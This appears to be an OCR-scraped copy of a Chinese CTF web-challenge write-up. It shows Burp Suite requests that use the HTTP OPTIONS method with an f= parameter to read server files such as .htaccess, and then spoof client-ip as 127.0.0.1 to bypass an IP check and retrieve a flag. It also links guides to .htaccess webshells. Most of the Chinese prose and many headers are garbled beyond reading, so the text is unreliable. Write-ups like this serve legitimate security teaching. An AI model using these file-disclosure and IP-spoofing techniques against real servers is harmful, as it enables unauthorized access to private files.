iBK—BHEMH’CTFHL3E + A% —Not Found (httpiFK
%, client-ipfhitip) ...

weixin_30426957 T 2018-10-14 1124:00 K i 187 R
JRSCEERE: hitps//www.cnblogs.com/leixiao-/p/9785710.html
FERAL

XIEFERERBE. o .
FIFF B &not found, iEHE—ELUARMRSSRET, 405 KIE 1~404.php

Not Found
The requested URs not found on this server.

ViR BRI AR, RARE HEANKE K haha~
At EE W header R AT EKI AR, X-Method:haha, %cit%E, 2K4ERER

Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
| _| Raw [ teaders | [ Render |

SET /HTTR/M .1 A HTTP/1.1 404 Mot Found
dost: 418hadc| 348847 eeBeB35c564025129ceBfE3eehbdafedfaa. game. ichungiu.com i Server. nginx/1.10.2
Jser-Agent: Mozilla/S.0 (Windows NT 10.0; WCOWE4; n:43.0) Geckao/20100101 Firefox/43.0 Date: Sun, 14 Oct 2018 01:54:16 GMT
Accept: text/html application/xhtml+xml application/xml;q=0.9 *™ q=0.8 Content-Type: text/html
Accept-Language: zh-CM, zh;g=0.8 en-US;g=0.5 &n;q=0.3 Content-Length: 204
sonnection: close Connection: close

CPowered-By PHE/S 5 9-Tubuntud 19

<IDOCTYPE HTML PUBLIC "WIETRYDTD HTML 2. OWEN">
<html><head>

<title=404 Not Found</title>

</head><body>

<h1>Not Found</h1=>

<p>The requested URL /404.php was not found on this server.</p:
<fhady = </html>

Fcansinai3f#i K I — /N X4 1.php, DB R 4B AR, KRR not here, plese trying

Oh Y9m =
Oh

Oh

Oh

Oh 9n

S e e S e e
' L e e |


https://blog.csdn.net/weixin_30426957
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/leixiao-/p/9785710.html

BERRA -EEMER, TR o .

RIEFENLERRN, 4 HiEX-Method:hahaR7E & F AT EEBhttpHIiE R TTE, httpdtA8MIERTTVE, T

Fs5 ik

1 GET ERIBEMAEGER, HFRESEEER,
2 HEAD  EfUTFgetimR, RAMRE WM FEAEAENAZT, HTREERL
3 POST

KT B2 S BT R IR AR SR/ A BRI B

46 E WIRIR B AT A EIE R (FINRARBAEE LA - BERGEESEIRERIEF . POSTH

4 PUT W)™ AR 55 2845 14 B B0 BURE 2 I SO &

5 DELETE 5 R AR S5 250 Bk 8 7€ H) T T

6 CONNECT  HTTPA AP B 4 e RE R BN E B T AR 525
7 OPTIONS A&/ mEERS MR,

8 TRACE  [EIEMRSFSMSBIKIER, EEMTAKXRISW .

BN, 2% T OPTIONSH, &I

Go Cancel < | > v Follow redirection

Request

Raw | Headers | Hex

Target: http://418badc1348847ee9e835c564c25

Response

j_Raw I Headers | Hex | HTML I Render ]

pPTIONS FHTTRM A

Host: 418badc1348847 ee9e835c564c25129 cebf3echbdafedfaa. game.ichungiu.com
User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWE4; n43.0) Gecko/20100101 Firefox/43.0
Accept: text/html application/xhtrml+xml application/xml;q=0.9 **q=0.8

Accept-Language: zh-CN zh;g=0.8 en-US;q=0.5 en;q=0.3

Connection: close

e

HTTF/1.1 302 Found

Server: nginx/1.10.2

Date: Sun, 14 Oct 2018 02:13:18 GMT
Content-Type: text/html
Content-Length: 220

Connection: close

- PHP/E 5 9-1ubuntud. 19

e
Location: ?f=1.php

f <IDOCTYPE HTML PUBLIC "JHETRYDTD HTML 2.OEN">

<html><head>

<title=404 Not Found<title>

<fhead=<hady>

<h1=Not Found</h1>

<p>The requested URL /404.php was not found on this server.</p>
<fhody=</html=Not allowed file

LNRE G FX AU, WEAZ, BB SN ZERKIHAHOPTIONST v, TRV IH Zurl i 91

B, REEburpHBKIERTTIE, BE



Raw | Params T Headers T Hex ] J Raw I Headers T Hex ]
OPTIONS Bndex.php?=1.php HTTP/1.1 HTTP/M .1 302 Found
Ho

'Y
st: 418bad 1348847 ee8e835c564c25129ceBfE3eehbdafedfaa. game. ichungiu.com i Senver: nginx/1.10.2
UserAgent: Mozilla/5.0 (Windows NT 10.0; WOWB4; rv:43.0) Gecko/20100101 Firefox/43.0 Date: Sun, 14 Oct 2018 02:21:29 GMT
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 */*,q=0.8 Content-Type: text/html
Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5 en;q=0.3 Content-Length: 79
Connection: close Connection: close
Cache-Control: max-age=0 ¥-Powered-By: PHP/S.5.9-1ubuntud 19

Location: ?=1.php

<?php
Imsg = "not here",
$msg .= PHP_EOL
$msg .="plz trying";
echo $msg;

SRTTIXASSAFHBAEH 2 M, ER Vi Hindex.php 1 404.php SUA# fo ¥

Pils TIRA, Z iR Aicansinafa #i 2] JLAN403T6 AL Ui i) i SO

/. htpasswd
bin/scripts

htaccess (B & "4 A NEC B X" & FRZHypertext Access(BXANM). AL TE N BRSNBRE N %, B,
E— MR X ERFBE - NMEE AR MR, DMEATRHEREERETFER. (EAAF, el
HIfr4 2 2R % . B3R Al LT Apache fJAllowOverridetg 4R 2 B . #ER Kk, htaccess U &Apacheik %38+ K
—AMEREXM, EATMHEXERTHMNARE. @idhtaccess3f, ATUFRAILI: MTEI01EER. HE 404453
W SR BA. AvrflibR e P ESE BRI 20 EFFR. BEERIATHEED .

By, BR RN SRR B R AR E M, R E RSB Sphp.inic dLAMEAME, X
A AEE R AR, FER:

user.ini XXM RIPHPETT:  http://www.vuln.cn/6001

F F .htaccess>k# AT /R Kiwebshell:  https://bbs.2cto.com/read.php?tid=204685

[BIFIIER, 5z, 82— htmlfibik



Hequest Response
_[RawI Params T Headers T Hex ] J Raw T Headers I Hex }
COPTIONS findex.php?f=.htaccess HTTP/1.1 i HTTP/1.1 302 Found
Host: 1 Server; nginx/1.10.2
418badc1348847 ee9eB8350564 025129083kt dafedfaa. Date: Sun, 14 Oct 2018 02:32:13 GMT
game.ichungiu.com Content-Type: text/html
User-Agent: Mozilla/5.0 (Windows MNT 10.0; WOWGE4: Content-Length: 94
rv:43.0) Gecko/20100101 Firefox/43.0 Connection: close
Accept: ¥-Powered-By: PHP/S 5 9-1ubuntud 19
text/html application/xhtml+xml application/xml; g=0.9 */* Location: ?=1.php
q=0.8
Accept-Language: RewriteEngine On
zh-CM,zh;q=0.8 en-US;q=0.5 en;q=0.3 RewriteBase /
Connection: close RewriteRule ~8d829d8568e46455104209db5cd9228d.html$ 404.php [L]
Cache-Control: max-age=0

FHWTF, BHRERREFHX-Forwarded-Forthi&ip

A € @ ‘deadbB84c3c5d2195ea4b60.game.ichungiu.com/ss PRI ERTe Iy GY SRR IV RI LT [ R Yels R PRETs Nty

INT ~| = & SQL- XSS Encryption® Encoding® Other

& Load URL
fh

% Split URL

» Execute

[ ] Enable Post data [ | Enable Referrer

ip incorrect ???XFF???

2R T £ IR X-Forwarded-For:127.0.0.1 #A1T, SLEEIMNE, XET TR, RIFR T X-Forwarded-For, it
Hclient-ip. HRGEThttpthill, S XEHBAETHRENEZTH, . .

M. https://segmentfault.com/q/1010000000686700/a-1020000000687155



Request

jRawT Headers | Hex |

Response

J Raw | Headers | Hex | xuL |

GET /B8d329d3568:46455104209dhEcd9228d. html HTTF/ .1

Host: 4cc981a3ffded0dcBedd4ffaBfdeadbB84c3c5d21950a4b60. game. ichungiu. com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:43.0) Gecko/20100101
Firefox/43.0

Accept: text/html application/xhtml+xml application/xml;g=0.9,*/*,q=0.8
Accept-Language: zh-CM,zh;g=0.8,en-US;q=0.5 en;q=0.3

client-ip:127.0.001

Connection: close

¥4, F :https://www.cnblogs.comvleixiao-/p/9785710.html

HTTR/1.1 200 OK

Semwver: nginx/1.10.2

Date: Sun, 14 Oct 2018 03:22:10 GMT
Content-Type: text/html
Caontent-Length: 309

Connection: close

*-Powered-By: PHP/S.5.9-1ubuntud . 19
Wary: Accept-Encoding

<code=<span style="color: #00000"=

<span style="color. #000BE"=&?php<br
/=8&nbsp;&nbsp;&nbsp;&nbsp;$flag&nbsp;</span><span styl
#O07700">=&nbsp;=/span=<span style="color:
#DD0000">"flag{be3f055-d4ff401f-bd24 690cd1b61883} </=p
style="color, #007700">;<br f><hr f></span>

<[span=
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